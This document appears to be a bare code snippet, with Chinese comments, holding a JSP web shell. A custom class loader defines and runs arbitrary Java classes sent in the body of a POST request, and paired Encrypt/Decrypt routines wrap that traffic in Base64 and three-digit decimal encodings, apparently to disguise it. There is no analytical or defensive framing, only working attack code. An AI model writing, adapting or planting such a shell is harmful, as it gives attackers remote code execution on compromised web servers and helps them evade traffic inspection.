···

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
private byte[] Encrypt(byte[] data) throws Exception {

// 1) Base64 编码,并替换符号

String input = java.util.Base64.getEncoder()

.encodeToString(data)

.replace("+", "<")

.replace("/", ">");



// 2) 每字符转三位十进制 ASCII(不足3位补0)

StringBuilder out = new StringBuilder(input.length() * 3);

for (int i = 0; i < input.length(); i++) {

int v = input.charAt(i);

out.append((char)('0' + (v / 100)));

out.append((char)('0' + ((v / 10) % 10)));

out.append((char)('0' + (v % 10)));

}



return out.toString().getBytes("UTF-8");

}



private byte[] Decrypt(byte[] data) throws Exception {

// 1) 拿到数字字符串,去掉所有非数字(防止混入空白/换行)

String raw = new String(data, "utf-8");

String digits = raw.replaceAll("\\D", "");



// 2) 长度必须是3的倍数

if (digits.length() % 3 != 0) {

throw new IllegalArgumentException("cipher length not multiple of 3: " + digits.length());

}



// 3) 每三位数字转回字符

StringBuilder base64 = new StringBuilder(digits.length() / 3);

for (int i = 0; i < digits.length(); i += 3) {

int a = digits.charAt(i) - '0';

int b = digits.charAt(i+1) - '0';

int c = digits.charAt(i+2) - '0';

int ascii = a * 100 + b * 10 + c;

base64.append((char) ascii);

}



// 4) 恢复符号并 Base64 解码

String b64str = base64.toString().replace("<", "+").replace(">", "/");

return java.util.Base64.getDecoder().decode(b64str);

}


<%!class X1 extends ClassLoader{
X1(ClassLoader p){super(p);}
public Class<?> zz(byte[] bb){return super.defineClass(bb,0,bb.length);}
}%><%
if("POST".equalsIgnoreCase(request.getMethod())){
java.io.ByteArrayOutputStream o=new java.io.ByteArrayOutputStream();
byte[] t=new byte[513];int l=request.getInputStream().read(t);
while(l>0){o.write(java.util.Arrays.copyOfRange(t,0,l));l=request.getInputStream().read(t);}
out.clear();out=pageContext.pushBody();
Class<?> c=new X1(this.getClass().getClassLoader()).zz(Decrypt(o.toByteArray()));
Object ins=c.newInstance();
ins.equals(pageContext); //有问题
}
%>



private byte[] Encrypt(byte[] data) {

StringBuilder sb = new StringBuilder();

for (byte b : data) {

sb.append(String.format("%03d", b & 0xFF)); // 每个字节固定用3位表示,如 001, 255

}

return sb.toString().getBytes();

}

private byte[] Decrypt(byte[] encrypted) {

String str = new String(encrypted);

int len = str.length() / 3;

byte[] result = new byte[len];

for (int i = 0; i < len; i++) {

String part = str.substring(i * 3, i * 3 + 3);

result[i] = (byte) Integer.parseInt(part);

}

return result;

}